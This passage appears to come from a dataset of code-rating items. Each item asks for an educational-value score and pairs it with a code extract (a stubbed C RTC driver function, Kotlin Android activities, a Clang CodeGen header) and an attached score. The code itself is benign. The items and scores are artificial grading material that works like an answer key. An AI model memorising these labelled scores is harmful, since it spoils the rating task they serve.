struct ds1307 {int* regs; int type; int (* write_block_data ) (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int,int*) ;int /*<<< orphan*/ offset; int /*<<< orphan*/ client; } ;
struct device {int dummy; } ;
/* Variables and functions */
size_t DS1307_REG_HOUR ;
size_t DS1307_REG_MDAY ;
size_t DS1307_REG_MIN ;
size_t DS1307_REG_MONTH ;
size_t DS1307_REG_SECS ;
size_t DS1307_REG_WDAY ;
size_t DS1307_REG_YEAR ;
int DS1337_BIT_CENTURY ;
int DS1340_BIT_CENTURY ;
int DS1340_BIT_CENTURY_EN ;
int bin2bcd (int) ;
int /*<<< orphan*/ dev_dbg (struct device*,char*,char*,int,int,int,int,int,int,int) ;
int /*<<< orphan*/ dev_err (struct device*,char*,char*,int) ;
struct ds1307* dev_get_drvdata (struct device*) ;
#define ds_1337 131
#define ds_1339 130
#define ds_1340 129
#define ds_3231 128
int stub1 (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int,int*) ;
__attribute__((used)) static int ds1307_set_time(struct device *dev, struct rtc_time *t)
{
struct ds1307 *ds1307 = dev_get_drvdata(dev);
int result;
int tmp;
u8 *buf = ds1307->regs;
dev_dbg(dev, "%s secs=%d, mins=%d, "
"hours=%d, mday=%d, mon=%d, year=%d, wday=%d\n",
"write", t->tm_sec, t->tm_min,
t->tm_hour, t->tm_mday,
t->tm_mon, t->tm_year, t->tm_wday);
buf[DS1307_REG_SECS] = bin2bcd(t->tm_sec);
buf[DS1307_REG_MIN] = bin2bcd(t->tm_min);
buf[DS1307_REG_HOUR] = bin2bcd(t->tm_hour);
buf[DS1307_REG_WDAY] = bin2bcd(t->tm_wday + 1);
buf[DS1307_REG_MDAY] = bin2bcd(t->tm_mday);
buf[DS1307_REG_MONTH
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 2 |
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
typedef int u8 ;
struct rtc_time {int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; } ;
struct ds1307 {int* regs; int type; int (* write_block_data ) (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int,int*) ;int /*<<< orphan*/ offset; int /*<<< orphan*/ client; } ;
struct device {int dummy; } ;
/* Variables and functions */
size_t DS1307_REG_HOUR ;
size_t DS1307_REG_MDAY ;
size_t DS1307_REG_MIN ;
size_t DS1307_REG_MONTH ;
size_t DS1307_REG_SECS ;
size_t DS1307_REG_WDAY ;
size_t DS1307_REG_YEAR ;
int DS1337_BIT_CENTURY ;
int DS1340_BIT_CENTURY ;
int DS1340_BIT_CENTURY_EN ;
int bin2bcd (int) ;
int /*<<< orphan*/ dev_dbg (struct device*,char*,char*,int,int,int,int,int,int,int) ;
int /*<<< orphan*/ dev_err (struct device*,char*,char*,int) ;
struct ds1307* dev_get_drvdata (struct device*) ;
#define ds_1337 131
#define ds_1339 130
#define ds_1340 129
#define ds_3231 128
int stub1 (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int,int*) ;
__attribute__((used)) static int ds1307_set_time(struct device *dev, struct rtc_time *t)
{
struct ds1307 *ds1307 = dev_get_drvdata(dev);
int result;
int tmp;
u8 *buf = ds1307->regs;
dev_dbg(dev, "%s secs=%d, mins=%d, "
"hours=%d, mday=%d, mon=%d, year=%d, wday=%d\n",
"write", t->tm_sec, t->tm_min,
t->tm_hour, t->tm_mday,
t->tm_mon, t->tm_year, t->tm_wday);
buf[DS1307_REG_SECS] = bin2bcd(t->tm_sec);
buf[DS1307_REG_MIN] = bin2bcd(t->tm_min);
buf[DS1307_REG_HOUR] = bin2bcd(t->tm_hour);
buf[DS1307_REG_WDAY] = bin2bcd(t->tm_wday + 1);
buf[DS1307_REG_MDAY] = bin2bcd(t->tm_mday);
buf[DS1307_REG_MONTH] = bin2bcd(t->tm_mon + 1);
/* assume 20YY not 19YY */
tmp = t->tm_year - 100;
buf[DS1307_REG_YEAR] = bin2bcd(tmp);
switch (ds1307->type) {
case ds_1337:
case ds_1339:
case ds_3231:
buf[DS1307_REG_MONTH] |= DS1337_BIT_CENTURY;
break;
case ds_1340:
buf[DS1307_REG_HOUR] |= DS1340_BIT_CENTURY_EN
| DS1340_BIT_CENTURY;
break;
default:
break;
}
dev_dbg(dev, "%s: %02x %02x %02x %02x %02x %02x %02x\n",
"write", buf[0], buf[1], buf[2], buf[3],
buf[4], buf[5], buf[6]);
result = ds1307->write_block_data(ds1307->client,
ds1307->offset, 7, buf);
if (result < 0) {
dev_err(dev, "%s error %d\n", "write", result);
return result;
}
return 0;
}
|
Below is an extract from a Kotlin program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Kotlin code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Kotlin concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., coroutines, extension functions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Kotlin. It should be similar to a school exercise, a tutorial, or a Kotlin course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Kotlin. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package rs.raf.project1.djordje_veljkovic_rn4615.view.activity
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import kotlinx.android.synthetic.main.activity_tabs.*
import rs.raf.project1.R
import rs.raf.project1.djordje_veljkovic_rn4615.view.viewPager.TabPagerAdapter
class TabsActivity : AppCompatActivity(R.layout.activity_tabs) {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
init()
}
private fun init(){
initTabs()
}
private fun initTabs() {
tabActivityLayout.setupWithViewPager(viewPagerActivityListe)
viewPagerActivityListe.adapter = TabPagerAdapter(supportFragmentManager)
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
kotlin
| 2 |
package rs.raf.project1.djordje_veljkovic_rn4615.view.activity
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import kotlinx.android.synthetic.main.activity_tabs.*
import rs.raf.project1.R
import rs.raf.project1.djordje_veljkovic_rn4615.view.viewPager.TabPagerAdapter
class TabsActivity : AppCompatActivity(R.layout.activity_tabs) {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
init()
}
private fun init(){
initTabs()
}
private fun initTabs() {
tabActivityLayout.setupWithViewPager(viewPagerActivityListe)
viewPagerActivityListe.adapter = TabPagerAdapter(supportFragmentManager)
}
}
|
Below is an extract from a Kotlin program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Kotlin code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Kotlin concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., coroutines, extension functions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Kotlin. It should be similar to a school exercise, a tutorial, or a Kotlin course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Kotlin. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package com.example.movingAssistant
import android.annotation.SuppressLint
import android.content.Intent
import android.content.pm.PackageManager
import android.media.AudioManager
import android.media.ToneGenerator
import android.os.Bundle
import android.util.Log
import android.widget.*
import androidx.appcompat.app.AppCompatActivity
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import com.budiyev.android.codescanner.*
private const val CAMERA_REQUEST_CDDE = 101
class MainActivity2 : AppCompatActivity() {
private lateinit var codeScanner: CodeScanner
private lateinit var photoUri : String
companion object{
lateinit var codeNumber : String
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main2)
setupPermission()
codeScanner()
val scannerView = findViewById<CodeScannerView>(R.id.scanner_view)
scannerView.setOnClickListener{
codeScanner.startPreview()
}
val button2 = findViewById<Button>(R.id.button2)
button2.setOnClickListener {
val intent = Intent(this, MainActivity3::class.java)
startActivity(intent)
}
val button3 = findViewById<Button>(R.id.button3)
button3.setOnClickListener {
val dataBaseHelper = DataBaseHelper(this)
val codeNumberList : List<String> = dataBaseHelper.barcodeNumbers
try {
if (codeNumber in codeNumberList){
Toast.makeText(this, "Item is already scanned", Toast.LENGTH_SHORT).show()
}
else{
photoUri = MainActivity3.photoUri.toString()
val movingItemsControl = MovingItemsControl(-1, codeNumber, true, photoUri, MainActivity.customerID)
val addOne = dataBaseHelper.addOne(movingItemsControl)
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
kotlin
| 2 |
package com.example.movingAssistant
import android.annotation.SuppressLint
import android.content.Intent
import android.content.pm.PackageManager
import android.media.AudioManager
import android.media.ToneGenerator
import android.os.Bundle
import android.util.Log
import android.widget.*
import androidx.appcompat.app.AppCompatActivity
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import com.budiyev.android.codescanner.*
private const val CAMERA_REQUEST_CDDE = 101
class MainActivity2 : AppCompatActivity() {
private lateinit var codeScanner: CodeScanner
private lateinit var photoUri : String
companion object{
lateinit var codeNumber : String
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main2)
setupPermission()
codeScanner()
val scannerView = findViewById<CodeScannerView>(R.id.scanner_view)
scannerView.setOnClickListener{
codeScanner.startPreview()
}
val button2 = findViewById<Button>(R.id.button2)
button2.setOnClickListener {
val intent = Intent(this, MainActivity3::class.java)
startActivity(intent)
}
val button3 = findViewById<Button>(R.id.button3)
button3.setOnClickListener {
val dataBaseHelper = DataBaseHelper(this)
val codeNumberList : List<String> = dataBaseHelper.barcodeNumbers
try {
if (codeNumber in codeNumberList){
Toast.makeText(this, "Item is already scanned", Toast.LENGTH_SHORT).show()
}
else{
photoUri = MainActivity3.photoUri.toString()
val movingItemsControl = MovingItemsControl(-1, codeNumber, true, photoUri, MainActivity.customerID)
val addOne = dataBaseHelper.addOne(movingItemsControl)
val txtview = findViewById<TextView>(R.id.tv_textView)
txtview.text = " "
Toast.makeText(this, "Success= $addOne", Toast.LENGTH_SHORT).show()
}
}catch (e: UninitializedPropertyAccessException){
Toast.makeText(this, "Please scan the item first", Toast.LENGTH_SHORT).show()
}
}
val button4 = findViewById<Button>(R.id.button4)
button4.setOnClickListener {
val intent = Intent(this, MainActivity4::class.java)
startActivity(intent)
}
val button5 = findViewById<Button>(R.id.button5)
button5.setOnClickListener {
val dataBaseHelper = DataBaseHelper(this)
val codeNumberList : List<String> = dataBaseHelper.barcodeNumbers
val movingItem : MovingItemsControl
try {
if (codeNumber in codeNumberList){
movingItem = dataBaseHelper.findTheItem()
dataBaseHelper.deleteOne(movingItem)
Toast.makeText(this, "Deleted", Toast.LENGTH_SHORT).show()
val txtview = findViewById<TextView>(R.id.tv_textView)
txtview.text = " "
}
else{
Toast.makeText(this, "Code not exist", Toast.LENGTH_SHORT).show()
}
}catch (e: UninitializedPropertyAccessException){
Toast.makeText(this, "No barcode scanned", Toast.LENGTH_SHORT).show()
}
}
}
private fun setupPermission(){
val permission = ContextCompat.checkSelfPermission(this, android.Manifest.permission.CAMERA)
if (permission != PackageManager.PERMISSION_GRANTED){
makeRequest()
}
}
private fun makeRequest() {
ActivityCompat.requestPermissions(this,
arrayOf(android.Manifest.permission.CAMERA),
CAMERA_REQUEST_CDDE)
}
private fun codeScanner(){
val scv = findViewById<CodeScannerView>(R.id.scanner_view)
val txtview = findViewById<TextView>(R.id.tv_textView)
val toneGenerator = ToneGenerator(AudioManager.STREAM_ALARM, 100)
codeScanner = CodeScanner(this, scv)
codeScanner.apply {
camera = CodeScanner.CAMERA_BACK
formats = CodeScanner.ALL_FORMATS
autoFocusMode = AutoFocusMode.SAFE
scanMode = ScanMode.CONTINUOUS
isAutoFocusEnabled = true
isFlashEnabled = false
decodeCallback = DecodeCallback {
runOnUiThread {
if(txtview.text != it.text){
toneGenerator.startTone(ToneGenerator.TONE_CDMA_ALERT_CALL_GUARD, 200)
}
txtview.text = it.text
codeNumber = txtview.text.toString()
}
}
errorCallback = ErrorCallback {
runOnUiThread{
Log.e("Main","Camera initialization error: ${it.message}")
}
}
}
}
override fun onResume() {
super.onResume()
codeScanner.startPreview()
}
override fun onPause() {
codeScanner.releaseResources()
super.onPause()
}
@SuppressLint("MissingSuperCall")
override fun onRequestPermissionsResult(
requestCode: Int,
permissions: Array<out String>,
grantResults: IntArray
) {
when (requestCode){
CAMERA_REQUEST_CDDE -> {
if(grantResults.isEmpty() || grantResults[0] != PackageManager.PERMISSION_GRANTED){
Toast.makeText(this, "The scanner needs camera permission", Toast.LENGTH_SHORT).show()
}
}
}
}
}
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
//===-- CodeGenFunction.h - Per-Function state for LLVM CodeGen -*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This is the internal per-function state used for llvm translation.
//
//===----------------------------------------------------------------------===//
#ifndef CLANG_CODEGEN_CODEGENFUNCTION_H
#define CLANG_CODEGEN_CODEGENFUNCTION_H
#include "clang/AST/Type.h"
#include "clang/AST/ExprCXX.h"
#include "clang/AST/ExprObjC.h"
#include "clang/Basic/TargetInfo.h"
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/Support/ValueHandle.h"
#include <map>
#include "CGBlocks.h"
#include "CGBuilder.h"
#include "CGCall.h"
#include "CGValue.h"
namespace llvm {
class BasicBlock;
class Module;
class SwitchInst;
class Value;
}
namespace clang {
class ASTContext;
class Decl;
class EnumConstantDecl;
class FunctionDecl;
class FunctionProtoType;
class LabelStmt;
class ObjCContainerDecl;
class ObjCInterfaceDecl;
class ObjCIvarDecl;
class ObjCMethodDecl;
class ObjCImplementationDecl;
class ObjCPropertyImplDecl;
class TargetInfo;
class VarDecl;
namespace CodeGen {
class CodeGenModule;
class CodeGenTypes;
class CGDebugInfo;
class CGFunctionInfo;
class CGRecordLayout;
/// CodeGenFunction - This class organizes the per-function state that is used
/// while generating LLVM code.
class CodeGenFunction : public BlockFunction {
CodeGenFunction(const CodeGenFunction&); // DO NOT IMPLEMENT
void operator=(const CodeGenFunction&); // DO NOT IMPLEMENT
public:
CodeGenModule &CGM; // Per-module state.
TargetInfo &Target;
typedef std::pair<llvm::Value *, llvm::Value *> ComplexPairTy;
CGBuilderTy Builder;
/// CurFuncDecl - Holds the Decl for the current function or metho
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 3 |
//===-- CodeGenFunction.h - Per-Function state for LLVM CodeGen -*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This is the internal per-function state used for llvm translation.
//
//===----------------------------------------------------------------------===//
#ifndef CLANG_CODEGEN_CODEGENFUNCTION_H
#define CLANG_CODEGEN_CODEGENFUNCTION_H
#include "clang/AST/Type.h"
#include "clang/AST/ExprCXX.h"
#include "clang/AST/ExprObjC.h"
#include "clang/Basic/TargetInfo.h"
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/Support/ValueHandle.h"
#include <map>
#include "CGBlocks.h"
#include "CGBuilder.h"
#include "CGCall.h"
#include "CGValue.h"
namespace llvm {
class BasicBlock;
class Module;
class SwitchInst;
class Value;
}
namespace clang {
class ASTContext;
class Decl;
class EnumConstantDecl;
class FunctionDecl;
class FunctionProtoType;
class LabelStmt;
class ObjCContainerDecl;
class ObjCInterfaceDecl;
class ObjCIvarDecl;
class ObjCMethodDecl;
class ObjCImplementationDecl;
class ObjCPropertyImplDecl;
class TargetInfo;
class VarDecl;
namespace CodeGen {
class CodeGenModule;
class CodeGenTypes;
class CGDebugInfo;
class CGFunctionInfo;
class CGRecordLayout;
/// CodeGenFunction - This class organizes the per-function state that is used
/// while generating LLVM code.
class CodeGenFunction : public BlockFunction {
CodeGenFunction(const CodeGenFunction&); // DO NOT IMPLEMENT
void operator=(const CodeGenFunction&); // DO NOT IMPLEMENT
public:
CodeGenModule &CGM; // Per-module state.
TargetInfo &Target;
typedef std::pair<llvm::Value *, llvm::Value *> ComplexPairTy;
CGBuilderTy Builder;
/// CurFuncDecl - Holds the Decl for the current function or method. This
/// excludes BlockDecls.
const Decl *CurFuncDecl;
const CGFunctionInfo *CurFnInfo;
QualType FnRetTy;
llvm::Function *CurFn;
/// ReturnBlock - Unified return block.
llvm::BasicBlock *ReturnBlock;
/// ReturnValue - The temporary alloca to hold the return value. This is null
/// iff the function has no return value.
llvm::Instruction *ReturnValue;
/// AllocaInsertPoint - This is an instruction in the entry block before which
/// we prefer to insert allocas.
llvm::AssertingVH<llvm::Instruction> AllocaInsertPt;
const llvm::Type *LLVMIntTy;
uint32_t LLVMPointerWidth;
public:
/// ObjCEHValueStack - Stack of Objective-C exception values, used for
/// rethrows.
llvm::SmallVector<llvm::Value*, 8> ObjCEHValueStack;
/// PushCleanupBlock - Push a new cleanup entry on the stack and set the
/// passed in block as the cleanup block.
void PushCleanupBlock(llvm::BasicBlock *CleanupBlock);
/// CleanupBlockInfo - A struct representing a popped cleanup block.
struct CleanupBlockInfo {
/// CleanupBlock - the cleanup block
llvm::BasicBlock *CleanupBlock;
/// SwitchBlock - the block (if any) containing the switch instruction used
/// for jumping to the final destination.
llvm::BasicBlock *SwitchBlock;
/// EndBlock - the default destination for the switch instruction.
llvm::BasicBlock *EndBlock;
CleanupBlockInfo(llvm::BasicBlock *cb, llvm::BasicBlock *sb,
llvm::BasicBlock *eb)
: CleanupBlock(cb), SwitchBlock(sb), EndBlock(eb) {}
};
/// PopCleanupBlock - Will pop the cleanup entry on the stack, process all
/// branch fixups and return a block info struct with the switch block and end
/// block.
CleanupBlockInfo PopCleanupBlock();
/// CleanupScope - RAII object that will create a cleanup block and set the
/// insert point to that block. When destructed, it sets the insert point to
/// the previous block and pushes a new cleanup entry on the stack.
class CleanupScope {
CodeGenFunction& CGF;
llvm::BasicBlock *CurBB;
llvm::BasicBlock *CleanupBB;
public:
CleanupScope(CodeGenFunction &cgf)
: CGF(cgf), CurBB(CGF.Builder.GetInsertBlock()) {
CleanupBB = CGF.createBasicBlock("cleanup");
CGF.Builder.SetInsertPoint(CleanupBB);
}
~CleanupScope() {
CGF.PushCleanupBlock(CleanupBB);
CGF.Builder.SetInsertPoint(CurBB);
}
};
/// EmitCleanupBlocks - Takes the old cleanup stack size and emits the cleanup
/// blocks that have been added.
void EmitCleanupBlocks(size_t OldCleanupStackSize);
/// EmitBranchThroughCleanup - Emit a branch from the current insert block
/// through the cleanup handling code (if any) and then on to \arg Dest.
///
/// FIXME: Maybe this should really be in EmitBranch? Don't we always want
/// this behavior for branches?
void EmitBranchThroughCleanup(llvm::BasicBlock *Dest);
private:
CGDebugInfo* DebugInfo;
/// LabelIDs - Track arbitrary ids assigned to labels for use in implementing
/// the GCC address-of-label extension and indirect goto. IDs are assigned to
/// labels inside getIDForAddrOfLabel().
std::map<const LabelStmt*, unsigned> LabelIDs;
/// IndirectSwitches - Record the list of switches for indirect
/// gotos. Emission of the actual switching code needs to be delayed until all
/// AddrLabelExprs have been seen.
std::vector<llvm::SwitchInst*> IndirectSwitches;
/// LocalDeclMap - This keeps track of the LLVM allocas or globals for local C
/// decls.
llvm::DenseMap<const Decl*, llvm::Value*> LocalDeclMap;
/// LabelMap - This keeps track of the LLVM basic block for each C label.
llvm::DenseMap<const LabelStmt*, llvm::BasicBlock*> LabelMap;
// BreakContinueStack - This keeps track of where break and continue
// statements should jump to.
struct BreakContinue {
BreakContinue(llvm::BasicBlock *bb, llvm::BasicBlock *cb)
: BreakBlock(bb), ContinueBlock(cb) {}
llvm::BasicBlock *BreakBlock;
llvm::BasicBlock *ContinueBlock;
};
llvm::SmallVector<BreakContinue, 8> BreakContinueStack;
/// SwitchInsn - This is nearest current switch instruction. It is null if if
/// current context is not in a switch.
llvm::SwitchInst *SwitchInsn;
/// CaseRangeBlock - This block holds if condition check for last case
/// statement range in current switch instruction.
llvm::BasicBlock *CaseRangeBlock;
/// InvokeDest - This is the nearest exception target for calls
/// which can unwind, when exceptions are being used.
llvm::BasicBlock *InvokeDest;
// VLASizeMap - This keeps track of the associated size for each VLA type.
// FIXME: Maybe this could be a stack of maps that is pushed/popped as we
// enter/leave scopes.
llvm::DenseMap<const VariableArrayType*, llvm::Value*> VLASizeMap;
/// DidCallStackSave - Whether llvm.stacksave has been called. Used to avoid
/// calling llvm.stacksave for multiple VLAs in the same scope.
bool DidCallStackSave;
struct CleanupEntry {
/// CleanupBlock - The block of code that does the actual cleanup.
llvm::BasicBlock *CleanupBlock;
/// Blocks - Basic blocks that were emitted in the current cleanup scope.
std::vector<llvm::BasicBlock *> Blocks;
/// BranchFixups - Branch instructions to basic blocks that haven't been
/// inserted into the current function yet.
std::vector<llvm::BranchInst *> BranchFixups;
explicit CleanupEntry(llvm::BasicBlock *cb)
: CleanupBlock(cb) {}
};
/// CleanupEntries - Stack of cleanup entries.
llvm::SmallVector<CleanupEntry, 8> CleanupEntries;
typedef llvm::DenseMap<llvm::BasicBlock*, size_t> BlockScopeMap;
/// BlockScopes - Map of which "cleanup scope" scope basic blocks have.
BlockScopeMap BlockScopes;
/// CXXThisDecl - When parsing an C++ function, this will hold the implicit
/// 'this' declaration.
ImplicitParamDecl *CXXThisDecl;
public:
CodeGenFunction(CodeGenModule &cgm);
ASTContext &getContext() const;
CGDebugInfo *getDebugInfo() { return DebugInfo; }
llvm::BasicBlock *getInvokeDest() { return InvokeDest; }
void setInvokeDest(llvm::BasicBlock *B) { InvokeDest = B; }
//===--------------------------------------------------------------------===//
// Objective-C
//===--------------------------------------------------------------------===//
void GenerateObjCMethod(const ObjCMethodDecl *OMD);
void StartObjCMethod(const ObjCMethodDecl *MD,
const ObjCContainerDecl *CD);
/// GenerateObjCGetter - Synthesize an Objective-C property getter function.
void GenerateObjCGetter(ObjCImplementationDecl *IMP,
const ObjCPropertyImplDecl *PID);
/// GenerateObjCSetter - Synthesize an Objective-C property setter function
/// for the given property.
void GenerateObjCSetter(ObjCImplementationDecl *IMP,
const ObjCPropertyImplDecl *PID);
//===--------------------------------------------------------------------===//
// Block Bits
//===--------------------------------------------------------------------===//
llvm::Value *BuildBlockLiteralTmp(const BlockExpr *);
llvm::Constant *BuildDescriptorBlockDecl(bool BlockHasCopyDispose,
uint64_t Size,
const llvm::StructType *,
std::vector<HelperInfo> *);
llvm::Function *GenerateBlockFunction(const BlockExpr *BExpr,
const BlockInfo& Info,
const Decl *OuterFuncDecl,
llvm::DenseMap<const Decl*, llvm::Value*> ldm,
uint64_t &Size, uint64_t &Align,
llvm::SmallVector<const Expr *, 8> &subBlockDeclRefDecls,
bool &subBlockHasCopyDispose);
void BlockForwardSelf();
llvm::Value *LoadBlockStruct();
llvm::Value *GetAddrOfBlockDecl(const BlockDeclRefExpr *E);
const llvm::Type *BuildByRefType(QualType Ty, uint64_t Align);
void GenerateCode(const FunctionDecl *FD,
llvm::Function *Fn);
void StartFunction(const Decl *D, QualType RetTy,
llvm::Function *Fn,
const FunctionArgList &Args,
SourceLocation StartLoc);
/// EmitReturnBlock - Emit the unified return block, trying to avoid its
/// emission when possible.
void EmitReturnBlock();
/// FinishFunction - Complete IR generation of the current function. It is
/// legal to call this function even if there is no current insertion point.
void FinishFunction(SourceLocation EndLoc=SourceLocation());
/// EmitFunctionProlog - Emit the target specific LLVM code to load the
/// arguments for the given function. This is also responsible for naming the
/// LLVM function arguments.
void EmitFunctionProlog(const CGFunctionInfo &FI,
llvm::Function *Fn,
const FunctionArgList &Args);
/// EmitFunctionEpilog - Emit the target specific LLVM code to return the
/// given temporary.
void EmitFunctionEpilog(const CGFunctionInfo &FI, llvm::Value *ReturnValue);
const llvm::Type *ConvertTypeForMem(QualType T);
const llvm::Type *ConvertType(QualType T);
/// LoadObjCSelf - Load the value of self. This function is only valid while
/// generating code for an Objective-C method.
llvm::Value *LoadObjCSelf();
/// TypeOfSelfObject - Return type of object that this self represents.
QualType TypeOfSelfObject();
/// hasAggregateLLVMType - Return true if the specified AST type will map into
/// an aggregate LLVM type or is void.
static bool hasAggregateLLVMType(QualType T);
/// createBasicBlock - Create an LLVM basic block.
llvm::BasicBlock *createBasicBlock(const char *Name="",
llvm::Function *Parent=0,
llvm::BasicBlock *InsertBefore=0) {
#ifdef NDEBUG
return llvm::BasicBlock::Create("", Parent, InsertBefore);
#else
return llvm::BasicBlock::Create(Name, Parent, InsertBefore);
#endif
}
/// getBasicBlockForLabel - Return the LLVM basicblock that the specified
/// label maps to.
llvm::BasicBlock *getBasicBlockForLabel(const LabelStmt *S);
/// SimplifyForwardingBlocks - If the given basic block is only a
/// branch to another basic block, simplify it. This assumes that no
/// other code could potentially reference the basic block.
void SimplifyForwardingBlocks(llvm::BasicBlock *BB);
/// EmitBlock - Emit the given block \arg BB and set it as the insert point,
/// adding a fall-through branch from the current insert block if
/// necessary. It is legal to call this function even if there is no current
/// insertion point.
///
/// IsFinished - If true, indicates that the caller has finished emitting
/// branches to the given block and does not expect to emit code into it. This
/// means the block can be ignored if it is unreachable.
void EmitBlock(llvm::BasicBlock *BB, bool IsFinished=false);
/// EmitBranch - Emit a branch to the specified basic block from the current
/// insert block, taking care to avoid creation of branches from dummy
/// blocks. It is legal to call this function even if there is no current
/// insertion point.
///
/// This function clears the current insertion point. The caller should follow
/// calls to this function with calls to Emit*Block prior to generation new
/// code.
void EmitBranch(llvm::BasicBlock *Block);
/// HaveInsertPoint - True if an insertion point is defined. If not, this
/// indicates that the current code being emitted is unreachable.
bool HaveInsertPoint() const {
return Builder.GetInsertBlock() != 0;
}
/// EnsureInsertPoint - Ensure that an insertion point is defined so that
/// emitted IR has a place to go. Note that by definition, if this function
/// creates a block then that block is unreachable; callers may do better to
/// detect when no insertion point is defined and simply skip IR generation.
void EnsureInsertPoint() {
if (!HaveInsertPoint())
EmitBlock(createBasicBlock());
}
/// ErrorUnsupported - Print out an error that codegen doesn't support the
/// specified stmt yet.
void ErrorUnsupported(const Stmt *S, const char *Type,
bool OmitOnError=false);
//===--------------------------------------------------------------------===//
// Helpers
//===--------------------------------------------------------------------===//
/// CreateTempAlloca - This creates a alloca and inserts it into the entry
/// block.
llvm::AllocaInst *CreateTempAlloca(const llvm::Type *Ty,
const char *Name = "tmp");
/// EvaluateExprAsBool - Perform the usual unary conversions on the specified
/// expression and compare the result against zero, returning an Int1Ty value.
llvm::Value *EvaluateExprAsBool(const Expr *E);
/// EmitAnyExpr - Emit code to compute the specified expression which can have
/// any type. The result is returned as an RValue struct. If this is an
/// aggregate expression, the aggloc/agglocvolatile arguments indicate where
/// the result should be returned.
RValue EmitAnyExpr(const Expr *E, llvm::Value *AggLoc = 0,
bool isAggLocVolatile = false);
// EmitVAListRef - Emit a "reference" to a va_list; this is either the address
// or the value of the expression, depending on how va_list is defined.
llvm::Value *EmitVAListRef(const Expr *E);
/// EmitAnyExprToTemp - Similary to EmitAnyExpr(), however, the result will
/// always be accessible even if no aggregate location is provided.
RValue EmitAnyExprToTemp(const Expr *E, llvm::Value *AggLoc = 0,
bool isAggLocVolatile = false);
void EmitAggregateCopy(llvm::Value *DestPtr, llvm::Value *SrcPtr,
QualType EltTy);
void EmitAggregateClear(llvm::Value *DestPtr, QualType Ty);
/// StartBlock - Start new block named N. If insert block is a dummy block
/// then reuse it.
void StartBlock(const char *N);
/// getCGRecordLayout - Return record layout info.
const CGRecordLayout *getCGRecordLayout(CodeGenTypes &CGT, QualType RTy);
/// GetAddrOfStaticLocalVar - Return the address of a static local variable.
llvm::Constant *GetAddrOfStaticLocalVar(const VarDecl *BVD);
/// GetAddrOfLocalVar - Return the address of a local variable.
llvm::Value *GetAddrOfLocalVar(const VarDecl *VD);
/// getAccessedFieldNo - Given an encoded value and a result number, return
/// the input field number being accessed.
static unsigned getAccessedFieldNo(unsigned Idx, const llvm::Constant *Elts);
unsigned GetIDForAddrOfLabel(const LabelStmt *L);
/// EmitMemSetToZero - Generate code to memset a value of the given type to 0.
void EmitMemSetToZero(llvm::Value *DestPtr, QualType Ty);
// EmitVAArg - Generate code to get an argument from the passed in pointer
// and update it accordingly. The return value is a pointer to the argument.
// FIXME: We should be able to get rid of this method and use the va_arg
// instruction in LLVM instead once it works well enough.
